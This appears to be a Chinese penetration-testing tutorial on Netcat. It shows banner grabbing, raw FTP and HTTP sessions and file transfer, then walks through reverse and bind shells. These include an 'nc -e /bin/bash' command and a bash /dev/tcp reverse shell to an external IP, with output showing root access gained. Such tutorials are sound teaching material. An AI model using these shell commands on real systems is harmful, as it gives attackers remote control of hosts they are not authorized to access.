zoukankan      html  css  js  c++  java
  • Kali Linux Netcat 学习 与 网络攻击

    Netcat 网络攻击 以及 应用

    1.用Netcat进行黑客攻击第1部分:基础知识

    Netcat是一个很好的网络实用程序,用于使用TCP和UPD协议读取和写入网络连接。Netcat通常被称为网络工具中的瑞士军刀,我们将在使用黑客教程的不同教程中大量使用它。Netcat最常见的用途是设置反向和绑定shell,管道和重定向网络流量,端口侦听,调试程序和脚本以及Banner抓取。在本教程中,我们将学习如何使用Netcat的基本功能,如:
    Banner抓取 原始连接 Web服务器交互

    1.1 Netcat Banner获取

    使用以下命令来获取服务器Banner(与服务建立原始连接):
    
    nc [ip address] [port]
    我们来试试这个在21端口运行的Metasploitable 2上的FTP服务:
    
    nc 192.168.1.100 21
    nc [ip] [port]用于与端口进行原始连接,当可用时将返回服务器Banner。
    
    code:
     rocky@kail: nc 23.105.202.xx 21   # 21 ftp 控制链接
     220 (vsFTPd 2.2.2)       # 系统服务 banner
    

    1.2 Netcat原连接

    为了演示原始连接的工作原理,我们将在FTP服务连接到目标主机后发出一些FTP命令。
    在匿名的情况下,我们来看看这个FTP服务器是否允许匿名访问,通过USER和PASS命令。
    
    code:
    	rocky@kail: nc 23.105.202.xx 21
    	220 (vsFTPd 2.2.2)
    	user ligang
    	331 Please specify the password.
    

    1.3 Web服务器交互

    Netcat还可以通过发出HTTP请求与Web服务器进行交互。
    通过以下命令,我们可以抓住在Metasploitable 2上运行的Web服务的Banner:
    
    nc 23.105.202.xx 80
    

    然后运行此HTTP请求:

    HEAD / HTTP / 1.0
    
    rocky@kail: nc 23.105.202.xx 80
    HEAD / HTTP / 1.0          << 输入
    HTTP/1.1 400 Bad Request
    Server: nginx/1.12.0
    Date: Sun, 28 May 2017 08:06:19 GMT
    Content-Type: text/html
    Content-Length: 173
    Connection: close
    

    1.4 使用Netcat进行文件传输

    在这个例子中,我们将使用Netcat连接传输一个文本文件。假设我们在目标主机上执行远程命令,我们希望将文件从攻击主机传输到目标主机。首先,我们需要在目标主机上设置一个侦听器,并从攻击主机连接到它。我们将使用端口8080用于此目的,我们将该文件安全保存到桌面:

    nc -lvp 8080> 1.txt
    

    在攻击主机上,我们连接到8080端口并发送文件名称transfer.txt:

    nc 192.168.100.107 8080 < 1.txt
    

    2 用Netcat进行黑客攻击第2部分:绑定和反向shell

    Netcat反向reverse shell

    在渗透测试中,最常见,或者最受欢迎的用法是反向 reverse shell和正向bind shell。反向shell是从目标主机发起到处于监听状态的攻击机器的shell连接方式,又叫被动连接,而正向bind shell是攻击主机通过特定的端口进行侦听目标主机即将到来的连接。在恶意软件中,bind shell又通常被称为后门。

    在下面的内容中我们将展示使用bind shell和reverse shell。下面将使用4444端口,但请注意,这可以是任何开放端口。实际上,通常您需要使用更常见的端口,如80和443来设置反向shell,因为这些端口是更常见的打开。

    NC reverse shell 工作原理:
    NC reverse shel

    攻击主机A执行:
     	nc -lvp 4444        ; 监听被攻击者链接
    
    被攻击主机B执行:
    	nc  xxx.xxx.xxx.xxx  4444 -e /bin/bash ; 将bash shell 权限提供给攻击者 实现控制权限的转移;
    

    实现通信后:

    在攻击主机A上执行命令,即可操作被攻击者B
    

    缺点:
    此时被攻击者B 需要使用Netcat命令, 而且普通 GNU Linux nc 并没有 -e { -e filename program to exec after connect [dangerous]} 参数; 顾此种反向链接并不适用;

    2.1 使用Bash 来代替Nc实现反向链接;

    被攻击主机B:
    	bash -i>& /dev/tcp/23.105.202.xx/4444 0>&1
    
    攻击者A:
    	nc -lvp 4444
    
    A机代码:
    [root@virtualS ~]# nc -lvp 4444
    Connection from 111.15.33.114:17835      ## 此时B机执行转移指令 bash -i>& /dev/tcp/23.105.202.xx/4444 0>&1
    root@kailvirtual:~#
    root@kailvirtual:~#
    root@kailvirtual:~#
    root@kailvirtual:~#
    root@kailvirtual:~# id
    id
    uid=0(root) gid=0(root) groups=0(root)
    root@kailvirtual:~#
    
    
    	bash -i>& /dev/tcp/23.105.202.xx/4444 0>&1 
    
    命令解释:
    	bash:
    		-i  if the -i option is present, the shell is interactive
    	
    	shell:
    		0/1/2 分别代表Linux标准输入,输出,异常 即 C编程中的 stdin, stdout, stderr
    	
    	0>&1   指 将标准输入完全输出到标准输出中; 
    		采用&可以将 0/1 绑定在一起。这条命令的作用标准输入将和标准输出同用一个文件描述符,说人话就是错误输入将会和标准输出输出到同一个地方。
    	
    

    2.2 Netcat正向bind Shell

    bind shell是一个绑定到目标主机上的特定端口以监听即将到来的连接的shell。我们来看看一个Netcat正向bind shell的原理:

    Nc Bind Shell

    攻击主机A:
    	rocky@mac: nc 192.168.1.9 4444
    	
    	id
    	uid=0(root) gid=0(root) groups=0(root)
    	
    	
    	echo $HOSTNAME
    	kailvirtual
    
    

    相同点:
    我们都需要被攻击者将其shell控制权限交给我们
    将shell command 以数据流的形式重定向到被攻击主机的Bash shell中;

    更多Nc 学习参照链接

  • 相关阅读:
    朴素贝叶斯估计
    k临近法的实现:kd树
    感知机学习算法
    Logistic回归的牛顿法及DFP、BFGS拟牛顿法求解
    Logistic回归
    线性回归的梯度下降和正规方程组求解
    Redis学习笔记(8)-发布/订阅
    Redis学习笔记(7)-事务
    Redis学习笔记(6)-SortedSet
    Redis学习笔记(5)-Set
  • 原文地址:https://www.cnblogs.com/vagabond/p/6916496.html
Copyright © 2011-2022 走看看